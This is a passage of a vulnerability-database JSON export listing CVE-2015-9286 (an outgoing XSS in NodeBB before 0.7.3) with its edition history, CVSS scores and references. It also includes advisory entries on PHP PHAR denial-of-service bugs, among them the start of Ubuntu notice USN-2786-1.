"vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "version": "3.0"}, "exploitabilityScore": 2.8, "impactScore": 2.7}, "cwe": ["CWE-79"], "description": "Controllers.outgoing in controllers/index.js in NodeBB before 0.7.3 has outgoing XSS.", "edition": 2, "enchantments": {"dependencies": {"modified": "2020-09-21T14:09:33", "references": [{"idList": ["SECURITYVULNS:DOC:32625"], "type": "securityvulns"}, {"idList": ["GHSA-72FV-QGJ6-2W2P"], "type": "github"}], "rev": 2}, "score": {"modified": "2020-09-21T14:09:33", "rev": 2, "value": 1.4, "vector": "NONE"}}, "hash": "e856f7b9491cefcc50723678fc0433f12f7c6ae1abe16d206957fd00f74aa6e1", "hashmap": [{"hash": "cabb6b89504f33d4cae5fb66665d6372", "key": "affectedSoftware"}, {"hash": "f9048d548aea2a33f8c8fe44e8c9817c", "key": "cvss3"}, {"hash": "4d53af7f522025f16113d72d1dd86a79", "key": "published"}, {"hash": "0ac6deaa5a07331e3db4762cb458fde6", "key": "href"}, {"hash": "d41d8cd98f00b204e9800998ecf8427e", "key": "affectedConfiguration"}, {"hash": "7bcda725e0fe4634bd741d18870efc86", "key": "description"}, {"hash": "4419eb17de947d4d6b67ac07ed8d9064", "key": "cvss2"}, {"hash": "d41d8cd98f00b204e9800998ecf8427e", "key": "cpeConfiguration"}, {"hash": "8e5a048329755897094215f117301c63", "key": "modified"}, {"hash": "f964d0f7ddcfa3fb2eb8853d2a1e7295", "key": "cvelist"}, {"hash": "dac3bc07a427ceea0c7680630fcafbdf", "key": "references"}, {"hash": "d41d8cd98f00b204e9800998ecf8427e", "key": "cpe23"}, {"hash": "1716b5fcbb7121af74efdc153d0166c5", "key": "type"}, {"hash": "34e69e045b64924bccf865d56b6918a2", "key": "cwe"}, {"hash": "601892ece72be3be2f57266ca2354792", "key": "bulletinFamily"}, {"hash": "6e87bbaab34c901324df8e163b451120", "key": "title"}, {"hash": "444c2b4dda4a55437faa8bef1a141e84", "key": "reporter"}, {"hash": "f74a1c24e49a5ecb0eefb5e51d4caa14", "key": "cvss"}, {"hash": "d41d8cd98f00b204e9800998ecf8427e", "key": "cpe"}], "history": [], "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2015-9286", "id": "CVE-2015-9286", "lastseen": "2020-09-21T14:09:33", "modified": "2019-05-01T14:22:00", "objectVersion": "1.3", "published": "2019-04-30T14:29:00", "references": ["https://github.com/NodeBB/NodeBB/pull/3371", "https://github.com/NodeBB/NodeBB/compare/56b79a9...4de7529", "https://www.vulnerability-lab.com/get_content.php?id=1608", "https://vulners.com/securityvulns/SECURITYVULNS:DOC:32625"], "reporter": "cve@mitre.org", "title": "CVE-2015-9286", "type": "cve", "viewCount": 4}, "differentElements": ["cpeConfiguration"], "edition": 2, "lastseen": "2020-09-21T14:09:33"}, {"bulletin": {"affectedConfiguration": [], "affectedSoftware": [{"cpeName": "nodebb:nodebb", "name": "nodebb", "operator": "lt", "version": "0.7.3"}], "bulletinFamily": "NVD", "cpe": [], "cpe23": [], "cpeConfiguration": {"CVE_data_version": "4.0", "nodes": [{"cpe_match": [{"cpe23Uri": "cpe:2.3:a:nodebb:nodebb:0.7.3:*:*:*:*:*:*:*", "versionEndExcluding": "0.7.3", "vulnerable": true}], "operator": "OR"}]}, "cvelist": ["CVE-2015-9286"], "cvss": {"score": 4.3, "vector": "AV:N/AC:M/Au:N/C:N/I:P/A:N"}, "cvss2": {"acInsufInfo": false, "cvssV2": {"accessComplexity": "MEDIUM", "accessVector": "NETWORK", "authentication": "NONE", "availabilityImpact": "NONE", "baseScore": 4.3, "confidentialityImpact": "NONE", "integrityImpact": "PARTIAL", "vectorString": "AV:N/AC:M/Au:N/C:N/I:P/A:N", "version": "2.0"}, "exploitabilityScore": 8.6, "impactScore": 2.9, "obtainAllPrivilege": false, "obtainOtherPrivilege": false, "obtainUserPrivilege": false, "severity": "MEDIUM", "userInteractionRequired": true}, "cvss3": {"cvssV3": {"attackComplexity": "LOW", "attackVector": "NETWORK", "availabilityImpact": "NONE", "baseScore": 6.1, "baseSeverity": "MEDIUM", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "privilegesRequired": "NONE", "scope": "CHANGED", "userInteraction": "REQUIRED", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "version": "3.0"}, "exploitabilityScore": 2.8, "impactScore": 2.7}, "cwe": ["CWE-79"], "description": "Controllers.outgoing in controllers/index.js in NodeBB before 0.7.3 has outgoing XSS.", "edition": 5, "enchantments": {"dependencies": {"modified": "2020-12-09T20:03:10", "references": [{"idList": ["SECURITYVULNS:DOC:32625"], "type": "securityvulns"}, {"idList": ["GHSA-72FV-QGJ6-2W2P"], "type": "github"}], "rev": 2}, "score": {"modified": "2020-12-09T20:03:10", "rev": 2, "value": 1.4, "vector": "NONE"}}, "extraReferences": [], "hash": "48b94d9acf0e692c61f3d939f819f0ddba91180b8a5c7286e7edbacc4207d0ed", "hashmap": [{"hash": "cabb6b89504f33d4cae5fb66665d6372", "key": "affectedSoftware"}, {"hash": "f9048d548aea2a33f8c8fe44e8c9817c", "key": "cvss3"}, {"hash": "4d53af7f522025f16113d72d1dd86a79", "key": "published"}, {"hash": "0ac6deaa5a07331e3db4762cb458fde6", "key": "href"}, {"hash": "d41d8cd98f00b204e9800998ecf8427e", "key": "affectedConfiguration"}, {"hash": "7bcda725e0fe4634bd741d18870efc86", "key": "description"}, {"hash": "4419eb17de947d4d6b67ac07ed8d9064", "key": "cvss2"}, {"hash": "8e5a048329755897094215f117301c63", "key": "modified"}, {"hash": "f964d0f7ddcfa3fb2eb8853d2a1e7295", "key": "cvelist"}, {"hash": "dac3bc07a427ceea0c7680630fcafbdf", "key": "references"}, {"hash": "d41d8cd98f00b204e9800998ecf8427e", "key": "cpe23"}, {"hash": "1716b5fcbb7121af74efdc153d0166c5", "key": "type"}, {"hash": "d41d8cd98f00b204e9800998ecf8427e", "key": "extraReferences"}, {"hash": "34e69e045b64924bccf865d56b6918a2", "key": "cwe"}, {"hash": "601892ece72be3be2f57266ca2354792", "key": "bulletinFamily"}, {"hash": "6e87bbaab34c901324df8e163b451120", "key": "title"}, {"hash": "444c2b4dda4a55437faa8bef1a141e84", "key": "reporter"}, {"hash": "f74a1c24e49a5ecb0eefb5e51d4caa14", "key": "cvss"}, {"hash": "d41d8cd98f00b204e9800998ecf8427e", "key": "cpe"}, {"hash": "587727297bf29a06aaafbf1f31d41b9a", "key": "cpeConfiguration"}], "history": [], "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2015-9286", "id": "CVE-2015-9286", "lastseen": "2020-12-09T20:03:10", "modified": "2019-05-01T14:22:00", "objectVersion": "1.3", "published": "2019-04-30T14:29:00", "references": ["https://github.com/NodeBB/NodeBB/pull/3371", "https://github.com/NodeBB/NodeBB/compare/56b79a9...4de7529", "https://www.vulnerability-lab.com/get_content.php?id=1608", "https://vulners.com/securityvulns/SECURITYVULNS:DOC:32625"], "reporter": "cve@mitre.org", "title": "CVE-2015-9286", "type": "cve", "viewCount": 6}, "differentElements": ["extraReferences"], "edition": 5, "lastseen": "2020-12-09T20:03:10"}, {"bulletin": {"affectedConfiguration": [], "affectedSoftware": [{"cpeName": "nodebb:nodebb", "name": "nodebb", "operator": "lt", "version": "*"}], "bulletinFamily": "NVD", "cpe": [], "cpe23": [], "cpeConfiguration": {"CVE_data_version": "4.0", "nodes": [{"cpe_match": [{"cpe23Uri": "cpe:2.3:a:nodebb:nodebb:0.7.3:*:*:*:*:*:*:*", "versionEndExcluding": "0.7.3", "vulnerable": true}], "operator": "OR"}]}, "cvelist": ["CVE-2015-9286"], "cvss": {"score": 4.3, "vector": "AV:N/AC:M/Au:N/C:N/I:P/A:N"}, "cvss2": {"acInsufInfo": false, "cvssV2": {"accessComplexity": "MEDIUM", "accessVector": "NETWORK", "authentication": "NONE", "availabilityImpact": "NONE", "baseScore": 4.3, "confidentialityImpact": "NONE", "integrityImpact": "PARTIAL", "vectorString": "AV:N/AC:M/Au:N/C:N/I:P/A:N", "version": "2.0"}, "exploitabilityScore": 8.6, "impactScore": 2.9, "obtainAllPrivilege": false, "obtainOtherPrivilege": false, "obtainUserPrivilege": false, "severity": "MEDIUM", "userInteractionRequired": true}, "cvss3": {"cvssV3": {"attackComplexity": "LOW", "attackVector": "NETWORK", "availabilityImpact": "NONE", "baseScore": 6.1, "baseSeverity": "MEDIUM", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "privilegesRequired": "NONE", "scope": "CHANGED", "userInteraction": "REQUIRED", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "version": "3.0"}, "exploitabilityScore": 2.8, "impactScore": 2.7}, "cwe": ["CWE-79"], "description": "Controllers.outgoing in controllers/index.js in NodeBB before 0.7.3 has outgoing XSS.", "edition": 4, "enchantments": {"dependencies": {"modified": "2020-11-30T00:13:43", "references": [{"idList": ["SECURITYVULNS:DOC:32625"], "type": "securityvulns"}, {"idList": ["GHSA-72FV-QGJ6-2W2P"], "type": "github"}], "rev": 2}, "score": {"modified": "2020-11-30T00:13:43", "rev": 2, "value": 1.4, "vector": "NONE"}}, "hash": "6fe52c24d63e23f00822e673ee4063d867fb4719b46c47ea85a6bfe1400fe129", "hashmap": [{"hash": "f9048d548aea2a33f8c8fe44e8c9817c", "key": "cvss3"}, {"hash": "4d53af7f522025f16113d72d1dd86a79", "key": "published"}, {"hash": "0ac6deaa5a07331e3db4762cb458fde6", "key": "href"}, {"hash": "d41d8cd98f00b204e9800998ecf8427e", "key": "affectedConfiguration"}, {"hash": "7bcda725e0fe4634bd741d18870efc86", "key": "description"}, {"hash": "4419eb17de947d4d6b67ac07ed8d9064", "key": "cvss2"}, {"hash": "8e5a048329755897094215f117301c63", "key": "modified"}, {"hash": "f964d0f7ddcfa3fb2eb8853d2a1e7295", "key": "cvelist"}, {"hash": "dac3bc07a427ceea0c7680630fcafbdf", "key": "references"}, {"hash": "d41d8cd98f00b204e9800998ecf8427e", "key": "cpe23"}, {"hash": "1716b5fcbb7121af74efdc153d0166c5", "key": "type"}, {"hash": "34e69e045b64924bccf865d56b6918a2", "key": "cwe"}, {"hash": "601892ece72be3be2f57266ca2354792", "key": "bulletinFamily"}, {"hash": "71d5df73a226d76c990527e0ca95c8d8", "key": "affectedSoftware"}, {"hash": "6e87bbaab34c901324df8e163b451120", "key": "title"}, {"hash": "444c2b4dda4a55437faa8bef1a141e84", "key": "reporter"}, {"hash": "f74a1c24e49a5ecb0eefb5e51d4caa14", "key": "cvss"}, {"hash": "d41d8cd98f00b204e9800998ecf8427e", "key": "cpe"}, {"hash": "587727297bf29a06aaafbf1f31d41b9a", "key": "cpeConfiguration"}], "history": [], "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2015-9286", "id": "CVE-2015-9286", "lastseen": "2020-11-30T00:13:43", "modified": "2019-05-01T14:22:00", "objectVersion": "1.3", "published": "2019-04-30T14:29:00", "references": ["https://github.com/NodeBB/NodeBB/pull/3371", "https://github.com/NodeBB/NodeBB/compare/56b79a9...4de7529", "https://www.vulnerability-lab.com/get_content.php?id=1608", "https://vulners.com/securityvulns/SECURITYVULNS:DOC:32625"], "reporter": "cve@mitre.org", "title": "CVE-2015-9286", "type": "cve", "viewCount": 5}, "differentElements": ["affectedSoftware"], "edition": 4, "lastseen": "2020-11-30T00:13:43"}, {"bulletin": {"affectedConfiguration": [], "affectedSoftware": [{"cpeName": "nodebb:nodebb", "name": "nodebb", "operator": "lt", "version": "0.7.3"}], "bulletinFamily": "NVD", "cpe": [], "cpe23": [], "cpeConfiguration": {"CVE_data_version": "4.0", "nodes": [{"cpe_match": [{"cpe23Uri": "cpe:2.3:a:nodebb:nodebb:0.7.3:*:*:*:*:*:*:*", "versionEndExcluding": "0.7.3", "vulnerable": true}], "operator": "OR"}]}, "cvelist": ["CVE-2015-9286"], "cvss": {"score": 4.3, "vector": "AV:N/AC:M/Au:N/C:N/I:P/A:N"}, "cvss2": {"acInsufInfo": false, "cvssV2": {"accessComplexity": "MEDIUM", "accessVector": "NETWORK", "authentication": "NONE", "availabilityImpact": "NONE", "baseScore": 4.3, "confidentialityImpact": "NONE", "integrityImpact": "PARTIAL", "vectorString": "AV:N/AC:M/Au:N/C:N/I:P/A:N", "version": "2.0"}, "exploitabilityScore": 8.6, "impactScore": 2.9, "obtainAllPrivilege": false, "obtainOtherPrivilege": false, "obtainUserPrivilege": false, "severity": "MEDIUM", "userInteractionRequired": true}, "cvss3": {"cvssV3": {"attackComplexity": "LOW", "attackVector": "NETWORK", "availabilityImpact": "NONE", "baseScore": 6.1, "baseSeverity": "MEDIUM", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "privilegesRequired": "NONE", "scope": "CHANGED", "userInteraction": "REQUIRED", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "version": "3.0"}, "exploitabilityScore": 2.8, "impactScore": 2.7}, "cwe": ["CWE-79"], "description": "Controllers.outgoing in controllers/index.js in NodeBB before 0.7.3 has outgoing XSS.", "edition": 3, "enchantments": {"dependencies": {"modified": "2020-10-03T12:49:59", "references": [{"idList": ["SECURITYVULNS:DOC:32625"], "type": "securityvulns"}, {"idList": ["GHSA-72FV-QGJ6-2W2P"], "type": "github"}], "rev": 2}, "score": {"modified": "2020-10-03T12:49:59", "rev": 2, "value": 1.4, "vector": "NONE"}}, "hash": "a933ff7201764471adcb8ac53cabee44c82a081f537a97f7fcd01cbed62795ec", "hashmap": [{"hash": "cabb6b89504f33d4cae5fb66665d6372", "key": "affectedSoftware"}, {"hash": "f9048d548aea2a33f8c8fe44e8c9817c", "key": "cvss3"}, {"hash": "4d53af7f522025f16113d72d1dd86a79", "key": "published"}, {"hash": "0ac6deaa5a07331e3db4762cb458fde6", "key": "href"}, {"hash": "d41d8cd98f00b204e9800998ecf8427e", "key": "affectedConfiguration"}, {"hash": "7bcda725e0fe4634bd741d18870efc86", "key": "description"}, {"hash": "4419eb17de947d4d6b67ac07ed8d9064", "key": "cvss2"}, {"hash": "8e5a048329755897094215f117301c63", "key": "modified"}, {"hash": "f964d0f7ddcfa3fb2eb8853d2a1e7295", "key": "cvelist"}, {"hash": "dac3bc07a427ceea0c7680630fcafbdf", "key": "references"}, {"hash": "d41d8cd98f00b204e9800998ecf8427e", "key": "cpe23"}, {"hash": "1716b5fcbb7121af74efdc153d0166c5", "key": "type"}, {"hash": "34e69e045b64924bccf865d56b6918a2", "key": "cwe"}, {"hash": "601892ece72be3be2f57266ca2354792", "key": "bulletinFamily"}, {"hash": "6e87bbaab34c901324df8e163b451120", "key": "title"}, {"hash": "444c2b4dda4a55437faa8bef1a141e84", "key": "reporter"}, {"hash": "f74a1c24e49a5ecb0eefb5e51d4caa14", "key": "cvss"}, {"hash": "d41d8cd98f00b204e9800998ecf8427e", "key": "cpe"}, {"hash": "587727297bf29a06aaafbf1f31d41b9a", "key": "cpeConfiguration"}], "history": [], "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2015-9286", "id": "CVE-2015-9286", "lastseen": "2020-10-03T12:49:59", "modified": "2019-05-01T14:22:00", "objectVersion": "1.3", "published": "2019-04-30T14:29:00", "references": ["https://github.com/NodeBB/NodeBB/pull/3371", "https://github.com/NodeBB/NodeBB/compare/56b79a9...4de7529", "https://www.vulnerability-lab.com/get_content.php?id=1608", "https://vulners.com/securityvulns/SECURITYVULNS:DOC:32625"], "reporter": "cve@mitre.org", "title": "CVE-2015-9286", "type": "cve", "viewCount": 5}, "differentElements": ["affectedSoftware"], "edition": 3, "lastseen": "2020-10-03T12:49:59"}], "edition": 7, "hashmap": [{"key": "affectedConfiguration", "hash": "d41d8cd98f00b204e9800998ecf8427e"}, {"key": "affectedSoftware", "hash": "cabb6b89504f33d4cae5fb66665d6372"}, {"key": "bulletinFamily", "hash": "601892ece72be3be2f57266ca2354792"}, {"key": "cpe", "hash": "d41d8cd98f00b204e9800998ecf8427e"}, {"key": "cpe23", "hash": "d41d8cd98f00b204e9800998ecf8427e"}, {"key": "cpeConfiguration", "hash": "f9e1afb4d3a36011638be68c9582e6b5"}, {"key": "cvelist", "hash": "f964d0f7ddcfa3fb2eb8853d2a1e7295"}, {"key": "cvss", "hash": "f74a1c24e49a5ecb0eefb5e51d4caa14"}, {"key": "cvss2", "hash": "4419eb17de947d4d6b67ac07ed8d9064"}, {"key": "cvss3", "hash": "f9048d548aea2a33f8c8fe44e8c9817c"}, {"key": "cwe", "hash": "34e69e045b64924bccf865d56b6918a2"}, {"key": "description", "hash": "7bcda725e0fe4634bd741d18870efc86"}, {"key": "extraReferences", "hash": "db8254901fea804d4d910fc508c1be32"}, {"key": "href", "hash": "0ac6deaa5a07331e3db4762cb458fde6"}, {"key": "immutableFields", "hash": "d41d8cd98f00b204e9800998ecf8427e"}, {"key": "modified", "hash": "8e5a048329755897094215f117301c63"}, {"key": "published", "hash": "4d53af7f522025f16113d72d1dd86a79"}, {"key": "references", "hash": "dac3bc07a427ceea0c7680630fcafbdf"}, {"key": "reporter", "hash": "444c2b4dda4a55437faa8bef1a141e84"}, {"key": "title", "hash": "6e87bbaab34c901324df8e163b451120"}, {"key": "type", "hash": "1716b5fcbb7121af74efdc153d0166c5"}], "hash": "6e9080b6a871ad58f0d05298373de4fe9c9158a2d86ff7f1a34e720d353d3e7b", "viewCount": 14, "enchantments": {"dependencies": {"references": [{"type": "github", "idList": ["GHSA-72FV-QGJ6-2W2P"]}, {"type": "securityvulns", "idList": ["SECURITYVULNS:DOC:32625"]}], "modified": "2021-04-22T23:51:50", "rev": 2}, "score": {"value": 1.4, "vector": "NONE", "modified": "2021-04-22T23:51:50", "rev": 2}}, "objectVersion": "1.5", "cpe": [], "affectedSoftware": [{"cpeName": "nodebb:nodebb", "name": "nodebb", "operator": "lt", "version": "0.7.3"}], "cvss2": {"acInsufInfo": false, "cvssV2": {"accessComplexity": "MEDIUM", "accessVector": "NETWORK", "authentication": "NONE", "availabilityImpact": "NONE", "baseScore": 4.3, "confidentialityImpact": "NONE", "integrityImpact": "PARTIAL", "vectorString": "AV:N/AC:M/Au:N/C:N/I:P/A:N", "version": "2.0"}, "exploitabilityScore": 8.6, "impactScore": 2.9, "obtainAllPrivilege": false, "obtainOtherPrivilege": false, "obtainUserPrivilege": false, "severity": "MEDIUM", "userInteractionRequired": true}, "cvss3": {"cvssV3": {"attackComplexity": "LOW", "attackVector": "NETWORK", "availabilityImpact": "NONE", "baseScore": 6.1, "baseSeverity": "MEDIUM", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "privilegesRequired": "NONE", "scope": "CHANGED", "userInteraction": "REQUIRED", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "version": "3.0"}, "exploitabilityScore": 2.8, "impactScore": 2.7}, "cpe23": [], "cwe": ["CWE-79"], "scheme": null, "cpeConfiguration": {"CVE_data_version": "4.0", "nodes": [{"children": [], "cpe_match": [{"cpe23Uri": "cpe:2.3:a:nodebb:nodebb:0.7.3:*:*:*:*:*:*:*", "cpe_name": [], "versionEndExcluding": "0.7.3", "vulnerable": true}], "operator": "OR"}]}, "extraReferences": [{"name": "https://github.com/NodeBB/NodeBB/pull/3371", "refsource": "MISC", "tags": ["Patch", "Third Party Advisory"], "url": "https://github.com/NodeBB/NodeBB/pull/3371"}, {"name": "https://vulners.com/securityvulns/SECURITYVULNS:DOC:32625", "refsource": "MISC", "tags": ["Third Party Advisory", "Exploit"], "url": "https://vulners.com/securityvulns/SECURITYVULNS:DOC:32625"}, {"name": "https://github.com/NodeBB/NodeBB/compare/56b79a9...4de7529", "refsource": "MISC", "tags": ["Third Party Advisory", "Release Notes"], "url": "https://github.com/NodeBB/NodeBB/compare/56b79a9...4de7529"}, {"name": "https://www.vulnerability-lab.com/get_content.php?id=1608", "refsource": "MISC", "tags": ["Third Party Advisory", "Exploit"], "url": "https://www.vulnerability-lab.com/get_content.php?id=1608"}], "immutableFields": []}], "securityvulns": [{"id": "SECURITYVULNS:VULN:14753", "bulletinFamily": "software", "title": "PHP security vulnerabilities", "description": "PHAR extension DoS.", "published": "2015-11-02T00:00:00", "modified": "2015-11-02T00:00:00", "cvss": {"score": 6.8, "vector": "AV:NETWORK/AC:MEDIUM/Au:NONE/C:PARTIAL/I:PARTIAL/A:PARTIAL/"}, "href": "https://vulners.com/securityvulns/SECURITYVULNS:VULN:14753", "reporter": "BUGTRAQ", "references": ["https://vulners.com/securityvulns/securityvulns:doc:32651"], "cvelist": ["CVE-2015-7803", "CVE-2015-7804"], "type": "securityvulns", "lastseen": "2021-06-08T19:08:49", "history": [{"bulletin": {"affectedSoftware": [{"name": "PHP", "operator": "eq", "version": "5.6"}], "bulletinFamily": "software", "cvelist": ["CVE-2015-7803", "CVE-2015-7804"], "cvss": {"score": 6.8, "vector": "AV:NETWORK/AC:MEDIUM/Au:NONE/C:PARTIAL/I:PARTIAL/A:PARTIAL/"}, "description": "PHAR extension DoS.", "edition": 1, "enchantments": {"dependencies": {"modified": "2018-08-31T11:10:03", "references": [{"idList": ["ALAS-2015-602", "ALAS-2015-601"], "type": "amazon"}, {"idList": ["CVE-2015-7803", "CVE-2015-7804"], "type": "cve"}, {"idList": ["H1:103990", "H1:104008"], "type": "hackerone"}, {"idList": ["SECURITYVULNS:DOC:32651"], "type": "securityvulns"}, {"idList": ["OPENVAS:1361412562310806649", "OPENVAS:1361412562310806648", "OPENVAS:703380", "OPENVAS:1361412562310120520", "OPENVAS:1361412562310842508", "OPENVAS:1361412562310807000", "OPENVAS:1361412562311220201747", "OPENVAS:1361412562310703380", "OPENVAS:1361412562310120396", "OPENVAS:1361412562311220191984"], "type": "openvas"}, {"idList": ["RHSA-2016:0457"], "type": "redhat"}, {"idList": ["SUSE-SU-2016:1145-1", "SUSE-SU-2016:1638-1", "SUSE-SU-2016:1581-1"], "type": "suse"}, {"idList": ["DEBIAN:DSA-3380-1:F94D6", "DEBIAN:DLA-341-1:DA682"], "type": "debian"}, {"idList": ["USN-2786-1"], "type": "ubuntu"}, {"idList": ["SSA-2016-034-04"], "type": "slackware"}, {"idList": ["GLSA-201606-10"], "type": "gentoo"}, {"idList": ["ALA_ALAS-2015-602.NASL", "FREEBSD_PKG_C1DA8B756AEF11E59909002590263BF5.NASL", "UBUNTU_USN-2786-1.NASL", "PHP_5_6_14.NASL", "SUSE_SU-2016-0284-1.NASL", "PHP_5_5_30.NASL", "SLACKWARE_SSA_2016-034-04.NASL", "OPENSUSE-2016-100.NASL", "ALA_ALAS-2015-601.NASL", "DEBIAN_DSA-3380.NASL"], "type": "nessus"}, {"idList": ["C1DA8B75-6AEF-11E5-9909-002590263BF5"], "type": "freebsd"}, {"idList": ["F5:K17503", "SOL17503"], "type": "f5"}, {"idList": ["CLSA-2020:1605798462"], "type": "cloudlinux"}], "rev": 2}, "score": {"modified": "2018-08-31T11:10:03", "rev": 2, "value": 7.4, "vector": "NONE"}}, "hash": "5bebcb6b83df2b42d069178c1e9ea73c038f8703bc95cf2b81c683a8d0d17ff6", "hashmap": [{"hash": "d41d8cd98f00b204e9800998ecf8427e", "key": "immutableFields"}, {"hash": "94aee96d0a33ff770af1ab8e308073f0", "key": "cvelist"}, {"hash": "c514412540c1e967450f03283e4ed180", "key": "references"}, {"hash": "f9fa10ba956cacf91d7878861139efb9", "key": "bulletinFamily"}, {"hash": "5c799165d68e636bd0726587ae899c0d", "key": "description"}, {"hash": "6d2dcaed858380d54d5782ad38c55586", "key": "affectedSoftware"}, {"hash": "2c5cca82a8670da097919f6160833daf", "key": "reporter"}, {"hash": "b3b8db0e3c7acd6c3190db6f8e88e96b", "key": "href"}, {"hash": "d8f38bedae5c73d95ff296ba2bd86a44", "key": "modified"}, {"hash": "737e2591b537c46d1ca7ce6f0cea5cb9", "key": "cvss"}, {"hash": "3a18a828bc11b79a70839be146b3b5a3", "key": "title"}, {"hash": "d54751dd75af2ea0147b462b3e001cd0", "key": "type"}, {"hash": "d8f38bedae5c73d95ff296ba2bd86a44", "key": "published"}], "history": [], "href": "https://vulners.com/securityvulns/SECURITYVULNS:VULN:14753", "id": "SECURITYVULNS:VULN:14753", "immutableFields": [], "lastseen": "2018-08-31T11:10:03", "modified": "2015-11-02T00:00:00", "objectVersion": "1.5", "published": "2015-11-02T00:00:00", "references": ["https://vulners.com/securityvulns/securityvulns:doc:32651"], "reporter": "BUGTRAQ", "title": "PHP security vulnerabilities", "type": "securityvulns", "viewCount": 212}, "different_elements": ["affectedSoftware"], "edition": 1, "lastseen": "2018-08-31T11:10:03"}], "edition": 2, "hashmap": [{"key": "affectedSoftware", "hash": "1858c8bfb7eb8aace48fa57059397c29"}, {"key": "bulletinFamily", "hash": "f9fa10ba956cacf91d7878861139efb9"}, {"key": "cvelist", "hash": "94aee96d0a33ff770af1ab8e308073f0"}, {"key": "cvss", "hash": "737e2591b537c46d1ca7ce6f0cea5cb9"}, {"key": "description", "hash": "5c799165d68e636bd0726587ae899c0d"}, {"key": "href", "hash": "b3b8db0e3c7acd6c3190db6f8e88e96b"}, {"key": "immutableFields", "hash": "d41d8cd98f00b204e9800998ecf8427e"}, {"key": "modified", "hash": "d8f38bedae5c73d95ff296ba2bd86a44"}, {"key": "published", "hash": "d8f38bedae5c73d95ff296ba2bd86a44"}, {"key": "references", "hash": "c514412540c1e967450f03283e4ed180"}, {"key": "reporter", "hash": "2c5cca82a8670da097919f6160833daf"}, {"key": "title", "hash": "3a18a828bc11b79a70839be146b3b5a3"}, {"key": "type", "hash": "d54751dd75af2ea0147b462b3e001cd0"}], "hash": "8859a40c26baff900b73dab92cbb6fd72e9b8dcbbd9acc6d613b18d55563796e", "viewCount": 222, "enchantments": {"dependencies": {"references": [{"type": "f5", "idList": ["F5:K17503", "SOL17503"]}, {"type": "ubuntucve", "idList": ["UB:CVE-2015-7803", "UB:CVE-2015-7804"]}, {"type": "cve", "idList": ["CVE-2015-7803", "CVE-2015-7804"]}, {"type": "openvas", "idList": ["OPENVAS:1361412562311220191984", "OPENVAS:1361412562311220201747", "OPENVAS:1361412562310806649", "OPENVAS:1361412562310120520", "OPENVAS:1361412562311220192438", "OPENVAS:1361412562310703380", "OPENVAS:703380", "OPENVAS:1361412562311220192649", "OPENVAS:1361412562310807000", "OPENVAS:1361412562310806648", "OPENVAS:1361412562310120396", "OPENVAS:1361412562310842508"]}, {"type": "nessus", "idList": ["ALA_ALAS-2015-602.NASL", "DEBIAN_DSA-3380.NASL", "EULEROS_SA-2019-2649.NASL", "PHP_5_5_30.NASL", "UBUNTU_USN-2786-1.NASL", "OPENSUSE-2016-100.NASL", "SUSE_SU-2016-1581-1.NASL", "FREEBSD_PKG_C1DA8B756AEF11E59909002590263BF5.NASL", "OPENSUSE-2016-157.NASL", "EULEROS_SA-2019-1984.NASL", "MACOSX_SECUPD2015-008.NASL", "9325.PRM", "SLACKWARE_SSA_2016-034-04.NASL", "EULEROS_SA-2019-2438.NASL", "SUSE_SU-2016-1638-1.NASL", "WEB_APPLICATION_SCANNING_98806", "GENTOO_GLSA-201606-10.NASL", "8956.PRM", "SUSE_SU-2016-0284-1.NASL", "MACOSX_10_11_2.NASL", "SUSE_SU-2016-1145-1.NASL", "PHP_5_6_14.NASL", "DEBIAN_DLA-341.NASL", "ALA_ALAS-2015-601.NASL", "PFSENSE_SA-15_08.NASL", "EULEROS_SA-2020-1747.NASL"]}, {"type": "freebsd", "idList": ["C1DA8B75-6AEF-11E5-9909-002590263BF5"]}, {"type": "securityvulns", "idList": ["SECURITYVULNS:DOC:32651"]}, {"type": "debian", "idList": ["DEBIAN:DSA-3380-1:F94D6", "DEBIAN:DLA-341-1:DA682"]}, {"type": "ubuntu", "idList": ["USN-2786-1"]}, {"type": "slackware", "idList": ["SSA-2016-034-04"]}, {"type": "hackerone", "idList": ["H1:104008", "H1:103990"]}, {"type": "amazon", "idList": ["ALAS-2015-602", "ALAS-2015-601"]}, {"type": "redhat", "idList": ["RHSA-2016:0457"]}, {"type": "suse", "idList": ["SUSE-SU-2016:1581-1", "SUSE-SU-2016:1145-1", "SUSE-SU-2016:1638-1"]}, {"type": "gentoo", "idList": ["GLSA-201606-10"]}, {"type": "cloudlinux", "idList": ["CLSA-2020:1605798462"]}], "modified": "2021-06-08T19:08:49", "rev": 2}, "score": {"value": 7.4, "vector": "NONE", "modified": "2021-06-08T19:08:49", "rev": 2}}, "objectVersion": "1.5", "affectedSoftware": [{"name": "php", "operator": "eq", "version": "5.6"}], "immutableFields": [], "scheme": null, "cvss2": {}, "cvss3": {}}, {"id": "SECURITYVULNS:DOC:32651", "bulletinFamily": "software", "title": "[USN-2786-1] PHP vulnerabilities", "description": "\r\n\r\n==========================================================================\r\nUbuntu Security Notice USN-2786-1\r\nOctober 28, 2015\r\n\r\nphp5 vulnerabilities\r\n==========================================================================\r\n\r\nA security issue affects these releases of Ubuntu and its derivatives:\r\n\r\n- Ubuntu 15.10\r\n- Ubuntu 15.04\r\n- Ubuntu 14.04 LTS\r\n- Ubuntu 12.04 LTS\r\n\r\nSummary:\r\n\r\nPHP could be made to crash if it processed a specially crafted file.\r\n\r\nSoftware Description:\r\n- php5: HTML-embedded scripting language interpreter\r\n\r\nDetails:\r\n\r\nIt was discovered that the PHP phar extension incorrectly handled certain\r\nfiles. A remote attacker could use this issue to cause PHP to crash,\r\nresulting in a denial of service. &#40;CVE-2015-7803, CVE-2015-7804&#41;\r\n\r\nUpdate instructions:\r\n\r\nThe problem can be corrected by updating your system to the following\r\npackage versions:\r\n\r\nUbuntu 